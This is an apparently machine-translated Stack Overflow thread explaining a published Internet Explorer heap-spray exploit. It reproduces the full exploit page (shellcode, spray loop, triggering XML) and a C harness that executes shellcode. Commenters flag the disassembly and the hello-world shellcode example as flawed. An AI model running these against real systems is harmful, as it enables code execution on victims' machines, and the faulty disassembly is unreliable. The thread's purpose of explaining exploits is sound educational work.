Làm thế nào để khai thác heap milw0rm này hoạt động?


145

Tôi thường không gặp khó khăn khi đọc mã JavaScript nhưng với điều này tôi không thể hiểu được logic. Mã này là từ một khai thác đã được xuất bản 4 ngày trước. Bạn có thể tìm thấy nó tại milw0rm .

Đây là mã:

<html>
    <div id="replace">x</div>
    <script>
        // windows/exec - 148 bytes
        // http://www.metasploit.com
        // Encoder: x86/shikata_ga_nai
        // EXITFUNC=process, CMD=calc.exe
        var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");

        // ugly heap spray, the d0nkey way!
        // works most of the time
        var spray = unescape("%u0a0a%u0a0a");

        do {
           spray += spray;
        } while(spray.length < 0xd0000);

        memory = new Array();

        for(i = 0; i < 100; i++)
           memory[i] = spray + shellcode;

        xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://&#x0a0a;&#x0a0a;.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";

        tag = document.getElementById("replace");
        tag.innerHTML = xmlcode;

    </script>
</html>

Đây là những gì tôi tin nó làm và tôi muốn bạn giúp tôi cho phần mà tôi hiểu lầm.

Biến shellcodechứa mã để mở calc.exe. Tôi không hiểu làm thế nào họ tìm thấy chuỗi kỳ lạ đó. Bất kỳ ý tưởng?

Điều thứ hai là biến spray. Tôi không hiểu vòng lặp kỳ lạ này.

Điều thứ ba là biến memorykhông bao giờ được sử dụng ở bất cứ đâu. Tại sao họ tạo ra nó?

Điều cuối cùng: thẻ XML làm gì trong trang?


Hiện tại tôi có câu trả lời tốt nhưng chủ yếu là những câu trả lời chung chung. Tôi muốn giải thích thêm về giá trị của mã. Một ví dụ là unescape("%u0a0a%u0a0a");. Nó có nghĩa là gì? Điều tương tự cho vòng lặp: tại sao nhà phát triển viết : length < 0xd0000? Tôi muốn hiểu sâu hơn, không chỉ lý thuyết về mã này.


Bạn nên tìm hiểu về Heap Spraying: en.wikipedia.org/wiki/Heap_spraying
BobbyShaftoe

Làm thế nào để chúng tôi chạy thành công khai thác này? Chúng ta có phải chạy nó trong IE không?
bad_keypoint

Câu trả lời:


320

Shellcode chứa một số hướng dẫn lắp ráp x86 sẽ khai thác thực tế. spraytạo ra một chuỗi dài các hướng dẫn sẽ được đưa vào memory. Vì chúng ta thường không thể tìm ra vị trí chính xác của shellcode trong bộ nhớ, chúng tôi đã đặt rất nhiều nophướng dẫn trước khi nó và nhảy đến một nơi nào đó ở đó. Các memorymảng sẽ tổ chức mã x86 thực tế cùng với cơ chế nhảy. Chúng tôi sẽ cung cấp XML thủ công cho thư viện có lỗi. Khi nó được phân tích cú pháp, lỗi sẽ khiến thanh ghi con trỏ lệnh được gán cho một nơi nào đó trong khai thác của chúng ta, dẫn đến việc thực thi mã tùy ý.

Để hiểu sâu hơn, bạn thực sự nên tìm ra những gì trong mã x86. unscapesẽ được sử dụng để đặt chuỗi byte được biểu diễn của chuỗi trong spraybiến. Mã x86 hợp lệ của nó lấp đầy một khối lớn của heap và nhảy đến khi bắt đầu shellcode. Lý do cho điều kiện kết thúc là giới hạn độ dài chuỗi của công cụ kịch bản. Bạn không thể có chuỗi lớn hơn chiều dài cụ thể.

Trong lắp ráp x86, 0a0ađại diện or cl, [edx]. Điều này có hiệu quả tương đương với nophướng dẫn cho các mục đích khai thác của chúng tôi. Bất cứ nơi nào chúng tôi nhảy vào spray, chúng tôi sẽ nhận được hướng dẫn tiếp theo cho đến khi chúng tôi đạt được shellcode là mã mà chúng tôi thực sự muốn thực thi.

Nếu bạn nhìn vào XML, bạn cũng sẽ thấy 0x0a0anó ở đó. Mô tả chính xác những gì xảy ra đòi hỏi kiến ​​thức cụ thể về khai thác (bạn phải biết lỗi ở đâu và cách khai thác, điều mà tôi không biết). Tuy nhiên, dường như chúng tôi buộc Internet Explorer kích hoạt mã lỗi bằng cách đặt innerHtmlchuỗi XML độc hại đó. Internet Explorer cố gắng phân tích cú pháp và mã lỗi bằng cách nào đó cung cấp quyền kiểm soát vị trí của bộ nhớ nơi mảng tồn tại (vì đó là một đoạn lớn, xác suất nhảy ở đó rất cao). Khi chúng ta nhảy tới đó, CPU sẽ tiếp tục thực hiện các or cl, [edx]hướng dẫn cho đến khi đạt đến điểm bắt đầu của shellcode được đặt trong bộ nhớ.

Tôi đã tháo rời shellcode:

00000000  C9                leave
00000001  2B1F              sub ebx,[edi]
00000003  B10C              mov cl,0xc
00000005  BDC536DB9B        mov ebp,0x9bdb36c5
0000000A  D9C5              fld st5
0000000C  2474              and al,0x74
0000000E  5A                pop edx
0000000F  F4                hlt
00000010  EA8331FC0B6A6A    jmp 0x6a6a:0xbfc3183
00000017  03D4              add edx,esp
00000019  07                pop es
0000001A  67305CFF          xor [si-0x1],bl
0000001E  98                cwde
0000001F  BBD7FFA4FE        mov ebx,0xfea4ffd7
00000024  9B                wait
00000025  74AD              jz 0xffffffd4
00000027  058B8B028D        add eax,0x8d028b8b
0000002C  D893BCCD35A2      fcom dword [ebx+0xa235cdbc]
00000032  37                aaa
00000033  B84290A63A        mov eax,0x3aa69042
00000038  94                xchg eax,esp
00000039  E99AA4D58D        jmp 0x8dd5a4d8
0000003E  E5A3              in eax,0xa3
00000040  1F                pop ds
00000041  4C                dec esp
00000042  EB46              jmp short 0x8a
00000044  4B                dec ebx
00000045  8CD0              mov eax,ss
00000047  AD                lodsd
00000048  A844              test al,0x44
0000004A  52                push edx
0000004B  4A                dec edx
0000004C  3B81B80DD748      cmp eax,[ecx+0x48d70db8]
00000052  4B                dec ebx
00000053  D46C              aam 0x6c
00000055  46                inc esi
00000056  1392734A204F      adc edx,[edx+0x4f204a73]
0000005C  F8                clc
0000005D  6E                outsb
0000005E  DC8EA20726B4      fmul qword [esi+0xb42607a2]
00000064  04D4              add al,0xd4
00000066  D084ECBA978221    rol byte [esp+ebp*8+0x218297ba],1
0000006D  7CE8              jl 0x57
0000006F  C0CA8C            ror dl,0x8c
00000072  F4                hlt
00000073  A6                cmpsb
00000074  47                inc edi
00000075  210D2EA0B0CD      and [0xcdb0a02e],ecx
0000007B  2CA8              sub al,0xa8
0000007D  B05B              mov al,0x5b
0000007F  43                inc ebx
00000080  F4                hlt
00000081  24E8              and al,0xe8
00000083  7A9C              jpe 0x21
00000085  BB857DCBA0        mov ebx,0xa0cb7d85
0000008A  7DED              jnl 0x79
0000008C  92                xchg eax,edx
0000008D  09E1              or ecx,esp
0000008F  96                xchg eax,esi
00000090  315580            xor [ebp-0x80],edx

Hiểu được shellcode này đòi hỏi kiến ​​thức lắp ráp x86 và vấn đề trong chính thư viện MS (để biết trạng thái hệ thống là gì khi chúng ta đến đây), không phải JavaScript! Mã này sẽ lần lượt thực thi calc.exe.


13
Tôi đánh giá cao nỗ lực này từ bạn cho khám phá này. +25 danh tiếng và tất cả sự tôn trọng của tôi. Cảm ơn
Patrick Desjardins

20
câu trả lời tuyệt vời nhưng chúa tể tốt - đột nhiên tôi không tốt với máy tính ;-)
tên người dùng

50
Tôi ngạc nhiên bởi những người quản lý để đưa ra các loại khai thác. Nếu họ đủ thông minh để hack tài khoản ngân hàng của ai đó bằng cách này, họ xứng đáng với tất cả số tiền họ có thể ăn cắp;)
Martin

8
Nếu có một ngôi đền của những câu trả lời tốt cho SO, thì đây sẽ là trong đó.
San Jacinto

6
Disassemby dường như vô nghĩa và hoàn toàn ngẫu nhiên. Điều đó không thể đúng. Tôi đã cố gắng trao đổi byte, giả sử rằng các ký tự trong một chuỗi được lưu trữ ở dạng endian nhỏ, nhưng nó không có ích.
Juho Östman

10

Điều này trông giống như một khai thác lỗi Internet Explorer gần đây mà Microsoft đã phát hành bản vá khẩn cấp. Nó sử dụng một lỗ hổng trong tính năng liên kết dữ liệu của trình xử lý XML của Microsoft, khiến cho bộ nhớ heap bị giải phóng không chính xác.

Shellcode là mã máy sẽ chạy khi xảy ra lỗi. Xịt và bộ nhớ chỉ là một số không gian được phân bổ trên đống để giúp điều kiện khai thác xảy ra.


Bạn có nghĩ rằng một số nội dung như vậy có thể xảy ra với tiện ích mở rộng của Chrome không?
bad_keypoint


2

Bất cứ khi nào tôi thấy bộ nhớ không được xử lý trong một cuộc thảo luận khai thác, suy nghĩ đầu tiên của tôi là khai thác là một loại tràn bộ đệm, trong trường hợp đó, bộ nhớ sẽ làm cho bộ đệm bị tràn hoặc bị truy cập khi bộ đệm bị tràn .


Trong trường hợp này, đó không phải là tham nhũng heap, tràn bộ đệm dựa trên heap hoặc tràn bộ đệm dựa trên ngăn xếp: blog.msdn.com/sdl/archive/2008/12/18/ms08-078-and-the-sdl.aspx
Cấp Wagner



0

Ví dụ shellcode đơn giản

Xin chào thế giới lắp ráp tại & t cú pháp x86 Tôi tin (Thuật sĩ trong đào tạo).

thiết lập tập tin:vim shellcodeExample.s

.text           #required
.goblal _start  #required

_start:         #main function
 jmp one        #jump to the section labeled one:

two:
 pop  %rcx         #pop %rcx off the stack, or something
 xor  %rax, %rax   #Clear
 movl 4, %rax      #use sys_write(printf || std::cout)
 xor  %rbx, %rbx   #Clear
 inc  %rbx         #increment %rbx to 1 stdout(terminal)
 xor  %rdx, %rdx   #Clear Registers or something
 movb $13, %dl     #String Size
 int  $0x80

one:
 call two                   #jump up to section two:
 .ascii "Hello World\r\n"   #make the string one of the starting memory 
                            #^-addresses

biên dịch như vậy:as -o shellcodeExample.o shellcodeExample.s ; ld -s -o shellcode shellcodeExample.o

Bây giờ bạn có một nhị phân in ra thế giới xin chào. để chuyển đổi nhị phân thành mã loại vỏ trong:objdump -D shellcode

bạn sẽ nhận được đầu ra:

shellcode:     file format elf64-x86-64


Disassembly of section .text:

0000000000400078 <.text>:
  400078:   eb 1a                   jmp    0x400094
  40007a:   59                      pop    %rcx
  40007b:   48 31 c0                xor    %rax,%rax
  40007e:   b0 04                   mov    $0x4,%al
  400080:   48 31 db                xor    %rbx,%rbx
  400083:   48 ff c3                inc    %rbx
  400086:   48 31 d2                xor    %rdx,%rdx
  400089:   b2 0d                   mov    $0xd,%dl
  40008b:   cd 80                   int    $0x80
  40008d:   b0 01                   mov    $0x1,%al
  40008f:   48 ff cb                dec    %rbx
  400092:   cd 80                   int    $0x80
  400094:   e8 e1 ff ff ff          callq  0x40007a
  400099:   68 65 6c 6c 6f          pushq  $0x6f6c6c65
  40009e:   20 77 6f                and    %dh,0x6f(%rdi)
  4000a1:   72 6c                   jb     0x40010f
  4000a3:   64                      fs
  4000a4:   0d                      .byte 0xd
  4000a5:   0a                      .byte 0xa

Bây giờ nếu bạn nhìn vào dòng thứ 4 với văn bản bạn sẽ thấy: 400078: eb 1a jmp 0x400094

phần nói eb 1alà biểu diễn thập lục phân của lệnh lắp ráp jmp onetrong đó "một" là địa chỉ bộ nhớ của chuỗi của bạn.

để chuẩn bị shellcode của bạn để thực thi, mở ra một tệp văn bản khác và lưu trữ các giá trị hex trong một mảng ký tự. Để định dạng mã shell chính xác, bạn nhập vào \xtrước mỗi giá trị hex.

ví dụ mã shell sắp tới sẽ trông giống như sau theo đầu ra lệnh objdump:

unsigned char PAYLOAD[] = 
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";

Ví dụ này sử dụng C cho mảng. Bây giờ bạn đã làm việc shellcode sẽ ghi vào thiết bị xuất chuẩn "hello world"

bạn có thể kiểm tra mã shell bằng cách đặt nó vào một lỗ hổng hoặc bạn có thể viết chương trình c sau đây để kiểm tra nó:

vim execShellcode.cc; //linux command to create c file.

/*Below is the content of execShellcode.cc*/
unsigned char PAYLOAD[] = 
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";

int main(){
    ((void(*)(void))PAYLOAD)();
    return 0;
}

Để biên dịch loại chương trình trong:

gcc -fno-stack-protector -z execstack execShellcode.cc -o run

chạy với ./run Bạn biết có một ví dụ hoạt động về phát triển shellcode đơn giản đã được thử nghiệm trong linux mint / debian.


1
Không sử dụng int 0x80ABI 32 bit trong mã 64 bit. Nó sẽ thất bại đối với các chuỗi trên ngăn xếp, bởi vì kernel chỉ nhìn vào 32 bit thấp của sattall args. Điều gì xảy ra nếu bạn sử dụng 32-bit int 0x80 Linux ABI trong mã 64 bit? . (Trong trường hợp đó, bạn sẽ tạo một vòng lặp vô hạn, vì sys_writesẽ trả về -EFAULTmov $1, %alsẽ để các bit trên được đặt, do đó bạn nhận được -ENOSYSthay vì sys_exit). Ngoài ra, trong mã 64 bit, bạn có thể jmpchuyển tiếp qua chuỗi và sử dụng RIP-Relative leađể lấy địa chỉ, thay vì gọi / pop.
Peter Cordes

1
Điều này cũng sẽ thất bại đối với gcc xây dựng các tệp thực thi PIE theo mặc định, bởi vì ngay cả mảng char lưu trữ tĩnh của bạn cũng sẽ nằm ngoài 32 bit thấp. (Và BTW, nếu đó là const char payload[]trong đoạn văn bản (trong phần .rodata) và bạn sẽ không cần -z execstack.)
Peter Cordes

1
Ngoài ra, movl 4, %raxchứa một byte bằng 0 (và sẽ không được lắp ráp vì không khớp với kích thước toán hạng và thiếu một $vì vậy 4 là một địa chỉ tuyệt đối). Tôi nghĩ rằng bạn đã đăng một phiên bản đầu của nguồn của bạn. Những bình luận trước đây của tôi là từ việc nhìn vào sự tháo gỡ mà bạn đã thêm một sys_exitcuộc gọi.
Peter Cordes
Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.